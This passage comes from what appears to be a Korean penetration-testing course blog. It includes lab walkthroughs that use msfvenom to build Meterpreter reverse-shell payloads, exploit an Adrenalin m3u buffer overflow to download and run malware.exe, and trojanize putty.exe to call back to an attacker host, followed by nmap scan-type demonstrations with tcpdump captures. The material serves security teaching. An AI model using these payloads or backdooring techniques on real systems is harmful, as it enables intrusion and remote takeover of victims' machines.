 1564  700   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1624  1444  wireshark.exe      x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\wireshark.exe
 1648  700   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 1764  1444  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 1776  1444  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1840  1444  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1848  1048  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe

meterpreter &gt; migrate  1444 
[*] Migrating from 1624 to 1444...
[*] Migration completed successfully.
meterpreter &gt; shell
Process 1996 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw&gt;exit
exit

meterpreter &gt; exit
[*] Shutting down Meterpreter...

[*] 200.200.200.4 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) &gt; exit
</code></pre><blockquote>
<p><strong>실습&gt; 소프트웨어 취약점을 이용한  reverse shell 연결하기</strong></p>
</blockquote>
<pre><code>취약한 프로그램 : 아드레날린 BOF(SEH)

SEH(Structured Exception Handler)는 버퍼 오버 플로우(buffer overflow)같이 예기치 않은 문제가 발생했을 때, 
예외처리 루틴을 통해 문제를 방지하기 위한 예외 처리 기법이다.

소프트웨어 취약점을 이용한 공격은 프로그램을 제작한 제작자의 실수로 프로그램 내에 
들어있는 결함(취약점)을 얘기하며 공격자는 이런 제로데이 취약점을 발견하면 그 결함 부분에 
악성행위를 하는 코드를 삽입하여 실행되게 함으로써 사용자를 위험에 처하게 할 수 있다.

1. 동영상 프로그램 실행 
- 설치된 동영상 프로그램인 아드레날린을 실행한다.
  이 프로그램은 버퍼가 넘쳐서 문제를 일으키는 BOF(Buffer Over Flow) 취약점을 가지고 있다.

2. m3u 메타파일 오픈 
- 아드레날린에서 실행시킨 후 m3u 파일을 오픈한다.
   M3U(MP3 URL)는 .m3u 확장자로 저장된 오디오 재생 목록 파일이며 M3U는 실제 오디오 파일이 아니며 오디오 및 때로는 
   디오 파일을 가리킨다.

3. 계산기 쉘코드 실행
- 이 메타파일에는 정상 파일이 아닌 계산기 쉘코드가 저장되어 있어 프로그램 실행 시
  프로그램이 입력받을 수 있는 크기를 넘겨 BOF(Buffer Over Flow) 취약점을 발생시킨다.
  따라서 BOF가 일어나는 부분에 계산기 쉘코드를 삽입하면 프로그램이 종료되면서 계산기가 실행된다.

4. 원격 웹서버 계산기 다운로드 후 실행
- 3번에서 BOF가 발생되면서 프로그램이 비정상적으로 종료가 되고 파일 내부에 있는 계산기 코드가 
  실행되었다면 이 부분에 다른 형태의 쉘코드를 삽입하면 실행된다는 의미이다.
  따라서 4번에서 실습할 것은 쉘코드 부분에 원격 웹서버에 업로드한 계산기를 다운로드 받고 저장한 
  다음 계산기가 실행되는 것을 확인할 것이다.


1. HxD.exe 다운로드
HxD.exe Hex Editor 프로그램을 다운로드 받아서 XP로 이동시킨다.
https://linuxmaster.net/malware/HxD.exe

2. m3u 메타파일 확인
adrenalin.m3u 를 HxD.exe에서 확인한다.

3. m3u 메타파일 수정
adrenalin2.m3u 를 HxD.exe에서 열어서 파일의 맨 뒤에 http://200.200.200.3/malware.exe 로 수정한다.

4. 악성코드 제작
-a x86: 32bit OS
--platform windows: 윈도우 OS 
-p windows/meterpreter/reverse_tcp: 미터프리터의 리버스쉘
LHOST=200.200.200.3: Attacker IP 주소 
LPORT=443: Attacker PORT 주소
-f python: 쉘코드를 파이썬으로 출력 
-b &#39;\x00\xff&#39;: 제거할 문자
Attacker# msfvenom -a x86 --platform windows  -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -f exe -o /var/www/html/malware.exe -b &#39;\x00\xff&#39;
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe

adrenalinAttack.rc 파일을 생성한다.
Attacker# vi adrenalinAttack.rc  
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set lhost 200.200.200.3
set lport 443
exploit

msfconsole -r 을 이용해서 adrenalinAttack.rc 파일을 실행한다.
Attacker# msfconsole -r adrenalinAttack.rc 

5. 웹서버 실행
Attacker# systemctl start apache2

6. adrenalin2.m3u 파일 실행
adrenalin2.m3u 파일을 더블클릭해서 실행하면 공격자의 malware.exe를 다운로드 받아서 실행한다.
malware.exe를 다운로드 받아서 실행하면 공격자의 443번 포트로 접속해서 쉘 권한을 획득한다.

[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:443 -&gt; 200.200.200.4:1123) at 2023-03-10 00:32:51 -0500

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; 
</code></pre><blockquote>
<p>실습&gt; 실행파일 패치</p>
</blockquote>
<pre><code>[putty.exe + reverse_tcp] -&gt; [putty2.exe]

1. putty 업로드
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
32-bit x86: putty.exe를 다운로드 받는다.

Attacker# wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

2. putty.exe 패치
putty.exe + reverse_tcp -&gt; putty2.exe 파일을 생성한다.
Attacker# msfvenom -a x86 --platform windows \
-x putty.exe -k -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -b &#39;\x00\xff&#39; -f exe -o /var/www/html/putty2.exe
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 1873408 bytes
Saved as: /var/www/html/putty2.exe

3. 공격 대기
Attacker# cat &lt;&lt; EOF &gt; putty2.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
exploit
EOF

Attacker# msfconsole -r putty2.rc 
  :
  :(생략)

4. putty2.exe 다운로드
Victim에서 putty2.exe를 다운로드 받아서 서버로 접속하기 위해서 putty2.exe를 실행한다.
putty2.exe를 실행하면 아래 두 가지로 동작하게 되고 공격자에게 장악당하게 된다.
- putty가 실행된다.
- Attacker로 리버스 커넥션으로 연결된다.

http://200.200.200.3/putty2.exe

[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 3 opened (200.200.200.3:443 -&gt; 200.200.200.4:1129) at 2023-03-10 01:15:38 -0500

meterpreter &gt;


https://www.exploit-db.com/exploits/11288</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[모의해킹 - 4 (교육 73일차)]]></title>
            <link>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-sysinternals-suite-TCP-Connect-Scan-TCP-Stealth-Scan-TCP-FIN-Scan-TCP-X-MAS-Scan-TCP-NULL-Scan-%ED%8F%AC%ED%8A%B8%EC%8A%A4%EC%BA%94%EC%89%98-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%ED%8C%8C%EC%9D%B4%EC%8D%AC-idle-scanning-MS08-067-%ED%8C%8C%EC%9D%BC-%EC%97%85%EB%A1%9C%EB%93%9C</link>
            <guid>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-sysinternals-suite-TCP-Connect-Scan-TCP-Stealth-Scan-TCP-FIN-Scan-TCP-X-MAS-Scan-TCP-NULL-Scan-%ED%8F%AC%ED%8A%B8%EC%8A%A4%EC%BA%94%EC%89%98-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%ED%8C%8C%EC%9D%B4%EC%8D%AC-idle-scanning-MS08-067-%ED%8C%8C%EC%9D%BC-%EC%97%85%EB%A1%9C%EB%93%9C</guid>
            <pubDate>Sun, 12 Mar 2023 11:23:34 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; sysinternals suite 다운로드</strong></p>
</blockquote>
<p>보안전문가나 관리자들을 필수로 사용하는 윈도우용 무료 툴
<a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite">https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite</a></p>
<p>procexp64.exe
Ctrl + Shift + ESC: 작업관리자 단축키
작업관리자 대체: Options &gt; Replace Task Manager</p>
<p>procexp64.exe 는 virustotal 과 연동해서 사용이 가능하다.</p>
<p>악성코드를 검사해주는 사이트: 전세계 백신이 모여있다.
<a href="https://www.virustotal.com/">https://www.virustotal.com/</a></p>
<p>tcpview64.exe: 윈도우용 netstat or ss</p>
<blockquote>
<p><strong>실습&gt; TCP Connect Scan(-sT)</strong></p>
</blockquote>
<pre><code>방화벽이 없을 때 

[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# iptables -F
[root@victim3 ~]# systemctl start httpd
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn

열린 포트 스캔
       S
A -----------&gt; V3
       SA
A &lt;----------- V3
       A
A -----------&gt; V3
       R/A
A -----------&gt; V3

[root@kali ~]# nmap -sT -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:06 EST
Nmap scan report for 200.200.200.6
Host is up (0.00030s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:04:42.002757 IP 200.200.200.3.53946 &gt; 200.200.200.6.80: Flags [S], seq 1703896547, win 64240, options [mss 1460,sackOK,TS val 284899562 ecr 0,nop,wscale 7], length 0
18:04:42.002787 IP 200.200.200.6.80 &gt; 200.200.200.3.53946: Flags [S.], seq 4262865332, ack 1703896548, win 28960, options [mss 1460,sackOK,TS val 107808245 ecr 284899562,nop,wscale 7], length 0
18:04:42.003036 IP 200.200.200.3.53946 &gt; 200.200.200.6.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 284899562 ecr 107808245], length 0
18:04:42.003098 IP 200.200.200.3.53946 &gt; 200.200.200.6.80: Flags [R.], seq 1, ack 1, win 502, options [nop,nop,TS val 284899562 ecr 107808245], length 0


닫힌 포트 스캔
       S
A -----------&gt; V3
       R/A
A &lt;----------- V3

[root@kali ~]# nmap -sT -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:12 EST
Nmap scan report for 200.200.200.6
Host is up (0.00029s latency).

PORT  STATE  SERVICE
1/tcp closed tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:11:12.160565 IP 200.200.200.3.45958 &gt; 200.200.200.6.1: Flags [S], seq 377962957, win 64240, options [mss 1460,sackOK,TS val 285259704 ecr 0,nop,wscale 7], length 0
18:11:12.160590 IP 200.200.200.6.1 &gt; 200.200.200.3.45958: Flags [R.], seq 0, ack 377962958, win 0, length 0

</code></pre><blockquote>
<p><strong>실습&gt; TCP Stealth Scan(-sS)</strong></p>
</blockquote>
<pre><code>방화벽이 없을 때 


열린 포트 스캔
       S
A -----------&gt; V3
       SA
A &lt;----------- V3
       R
A -----------&gt; V3

[root@kali ~]# nmap -sS -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:16 EST
Nmap scan report for 200.200.200.6
Host is up (0.00034s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:15:15.210783 IP 200.200.200.3.48645 &gt; 200.200.200.6.80: Flags [S], seq 2816880098, win 1024, options [mss 1460], length 0
18:15:15.210819 IP 200.200.200.6.80 &gt; 200.200.200.3.48645: Flags [S.], seq 718386699, ack 2816880099, win 29200, options [mss 1460], length 0
18:15:15.211607 IP 200.200.200.3.48645 &gt; 200.200.200.6.80: Flags [R], seq 2816880099, win 0, length 0


닫힌 포트 스캔
       S
A -----------&gt; V3
       R/A
A &lt;----------- V3
[root@kali ~]# nmap -sS -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:19 EST
Nmap scan report for 200.200.200.6
Host is up (0.00022s latency).

PORT  STATE  SERVICE
1/tcp closed tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:18:05.086850 IP 200.200.200.3.35381 &gt; 200.200.200.6.1: Flags [S], seq 883727068, win 1024, options [mss 1460], length 0
18:18:05.086880 IP 200.200.200.6.1 &gt; 200.200.200.3.35381: Flags [R.], seq 0, ack 883727069, win 0, length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP FIN Scan(-sF)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔
       F
A -----------&gt; V3
       F
A -----------&gt; V3

[root@kali ~]# nmap -sF -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:22 EST
Nmap scan report for 200.200.200.6
Host is up (0.00028s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:22:05.668514 IP 200.200.200.3.53541 &gt; 200.200.200.6.80: Flags [F], seq 1234463521, win 1024, length 0
18:22:05.777554 IP 200.200.200.3.53543 &gt; 200.200.200.6.80: Flags [F], seq 1234594595, win 1024, length 0

닫힌 포트 스캔
       F
A -----------&gt; V3
       R/A
A &lt;----------- V3
[root@kali ~]# nmap -sF -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:25 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT  STATE  SERVICE
1/tcp closed tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:24:51.250467 IP 200.200.200.3.62479 &gt; 200.200.200.6.1: Flags [F], seq 1606772599, win 1024, length 0
18:24:51.250498 IP 200.200.200.6.1 &gt; 200.200.200.3.62479: Flags [R.], seq 0, ack 1606772600, win 0, length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP X-MAS Scan(-sX)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔
     FPU
A -----------&gt; V3
     FPU
A -----------&gt; V3

[root@kali ~]# nmap -sX -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:28 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:28:38.241427 IP 200.200.200.3.33504 &gt; 200.200.200.6.80: Flags [FPU], seq 1165601945, win 1024, urg 0, length 0
18:28:38.350225 IP 200.200.200.3.33506 &gt; 200.200.200.6.80: Flags [FPU], seq 1165733019, win 1024, urg 0, length 0

닫힌 포트 스캔
      FPU
A -----------&gt; V3
      R/A
A &lt;----------- V3

[root@kali ~]# nmap -sX -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:34 EST
Nmap scan report for 200.200.200.6
Host is up (0.00019s latency).

PORT  STATE  SERVICE
1/tcp closed tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:34:41.537399 IP 200.200.200.3.34788 &gt; 200.200.200.6.1: Flags [FPU], seq 3973353575, win 1024, urg 0, length 0
18:34:41.537429 IP 200.200.200.6.1 &gt; 200.200.200.3.34788: Flags [R.], seq 0, ack 3973353576, win 0, length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP NULL Scan(-sN)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔   
A -----------&gt; V3
A -----------&gt; V3
[root@kali ~]# nmap -sN -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:30 EST
Nmap scan report for 200.200.200.6
Host is up (0.00027s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:34:58.917885 IP 200.200.200.3.36882 &gt; 200.200.200.6.80: Flags [none], win 1024, length 0
19:34:59.026348 IP 200.200.200.3.36884 &gt; 200.200.200.6.80: Flags [none], win 1024, length 0


닫힌 포트 스캔
A -----------&gt; V3
      R/A
A &lt;----------- V3
[root@kali ~]# nmap -sN -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:31 EST
Nmap scan report for 200.200.200.6
Host is up (0.00035s latency).

PORT  STATE  SERVICE
1/tcp closed tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:37:01.895079 IP 200.200.200.3.34067 &gt; 200.200.200.6.1: Flags [none], win 1024, length 0
19:37:01.895110 IP 200.200.200.6.1 &gt; 200.200.200.3.34067: Flags [R.], seq 0, ack 3100874977, win 0, length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP Connect Scan(-sT)</strong></p>
</blockquote>
<pre><code>방화벽이 있을 때 

[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# yum -y install iptables-services
[root@victim3 ~]# vi /etc/sysconfig/iptables
# sample configuration for iptables service
# you can edit this manually or use system-config-firewall
# please do not ask us to add additional ports/services to this default configuration
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j DROP
COMMIT

[root@victim3 ~]# iptables-restore /etc/sysconfig/iptables
[root@victim3 ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination        

[root@victim3 ~]# systemctl start httpd
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn

열린 포트 스캔
       S
A -----------&gt; V3
       SA
A &lt;----------- V3
       A
A -----------&gt; V3
       R/A
A -----------&gt; V3

[root@kali ~]# nmap -sT -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:39 EST
Nmap scan report for 200.200.200.6
Host is up (0.00025s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:45:46.982247 IP 200.200.200.3.49118 &gt; 200.200.200.6.80: Flags [S], seq 3778980217, win 64240, options [mss 1460,sackOK,TS val 290497951 ecr 0,nop,wscale 7], length 0
19:45:46.982286 IP 200.200.200.6.80 &gt; 200.200.200.3.49118: Flags [S.], seq 1467186253, ack 3778980218, win 28960, options [mss 1460,sackOK,TS val 113873225 ecr 290497951,nop,wscale 7], length 0
19:45:46.982485 IP 200.200.200.3.49118 &gt; 200.200.200.6.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 290497952 ecr 113873225], length 0
19:45:46.982531 IP 200.200.200.3.49118 &gt; 200.200.200.6.80: Flags [R.], seq 1, ack 1, win 502, options [nop,nop,TS val 290497952 ecr 113873225], length 0


닫힌 포트 스캔
       S
A -----------&gt; V3
       S
A -----------&gt; V3  

[root@kali ~]# nmap -sT -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:41 EST
Nmap scan report for 200.200.200.6
Host is up (0.00071s latency).

PORT  STATE    SERVICE
1/tcp filtered tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

방화벽에서 닫힌 포트 1번 패킷을 DROP하기 때문에 RST 패킷이 오지 않는다.
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:47:21.221882 IP 200.200.200.3.45334 &gt; 200.200.200.6.1: Flags [S], seq 2893359925, win 64240, options [mss 1460,sackOK,TS val 290584941 ecr 0,nop,wscale 7], length 0
19:47:21.328656 IP 200.200.200.3.45340 &gt; 200.200.200.6.1: Flags [S], seq 2798182175, win 64240, options [mss 1460,sackOK,TS val 290585039 ecr 0,nop,wscale 7], length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP Stealth Scan(-sS)</strong></p>
</blockquote>
<pre><code>방화벽이 없을 때 


열린 포트 스캔
       S
A -----------&gt; V3
       SA
A &lt;----------- V3
       R
A -----------&gt; V3

[root@kali ~]# nmap -sS -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:45 EST
Nmap scan report for 200.200.200.6
Host is up (0.00024s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:51:21.853228 IP 200.200.200.3.51545 &gt; 200.200.200.6.80: Flags [S], seq 3422609856, win 1024, options [mss 1460], length 0
19:51:21.853279 IP 200.200.200.6.80 &gt; 200.200.200.3.51545: Flags [S.], seq 2702628379, ack 3422609857, win 29200, options [mss 1460], length 0
19:51:21.853536 IP 200.200.200.3.51545 &gt; 200.200.200.6.80: Flags [R], seq 3422609857, win 0, length 0


닫힌 포트 스캔
       S
A -----------&gt; V3
       S
A -----------&gt; V3  
[root@kali ~]# nmap -sS -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:46 EST
Nmap scan report for 200.200.200.6
Host is up (0.00021s latency).

PORT  STATE    SERVICE
1/tcp filtered tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:52:20.778022 IP 200.200.200.3.44083 &gt; 200.200.200.6.1: Flags [S], seq 2147615859, win 1024, options [mss 1460], length 0
19:52:20.886994 IP 200.200.200.3.44085 &gt; 200.200.200.6.1: Flags [S], seq 2147484785, win 1024, options [mss 1460], length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP FIN Scan(-sF)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔
       F
A -----------&gt; V3
       F
A -----------&gt; V3
[root@kali ~]# nmap -sF -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:47 EST
Nmap scan report for 200.200.200.6
Host is up (0.00089s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:54:30.224476 IP 200.200.200.3.54405 &gt; 200.200.200.6.1: Flags [F], seq 3549946888, win 1024, length 0
19:54:30.333396 IP 200.200.200.3.54407 &gt; 200.200.200.6.1: Flags [F], seq 3549815818, win 1024, length 0

닫힌 포트 스캔
       F
A -----------&gt; V3
       F
A -----------&gt; V3  
[root@kali ~]# nmap -sF -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 21:48 EST
Nmap scan report for 200.200.200.6
Host is up (0.00024s latency).

PORT  STATE         SERVICE
1/tcp open|filtered tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
19:54:30.224476 IP 200.200.200.3.54405 &gt; 200.200.200.6.1: Flags [F], seq 3549946888, win 1024, length 0
19:54:30.333396 IP 200.200.200.3.54407 &gt; 200.200.200.6.1: Flags [F], seq 3549815818, win 1024, length 0
</code></pre><blockquote>
<p><strong>실습&gt; TCP X-MAS Scan(-sX)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔
     FPU
A -----------&gt; V3
     FPU
A -----------&gt; V3

[root@kali ~]# nmap -sX -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 22:00 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
20:08:10.129604 IP 200.200.200.3.62383 &gt; 200.200.200.6.80: Flags [FPU], seq 1138112877, win 1024, urg 0, length 0
20:08:10.239291 IP 200.200.200.3.62385 &gt; 200.200.200.6.80: Flags [FPU], seq 1137981807, win 1024, urg 0, length 0

닫힌 포트 스캔
      FPU
A -----------&gt; V3
      FPU
A -----------&gt; V3

[root@kali ~]# nmap -sX -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 22:01 EST
Nmap scan report for 200.200.200.6
Host is up (0.00022s latency).

PORT  STATE         SERVICE
1/tcp open|filtered tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
20:09:08.738280 IP 200.200.200.3.36118 &gt; 200.200.200.6.1: Flags [FPU], seq 3678728697, win 1024, urg 0, length 0
20:09:08.847619 IP 200.200.200.3.36120 &gt; 200.200.200.6.1: Flags [FPU], seq 3678859771, win 1024, urg 0, length 0
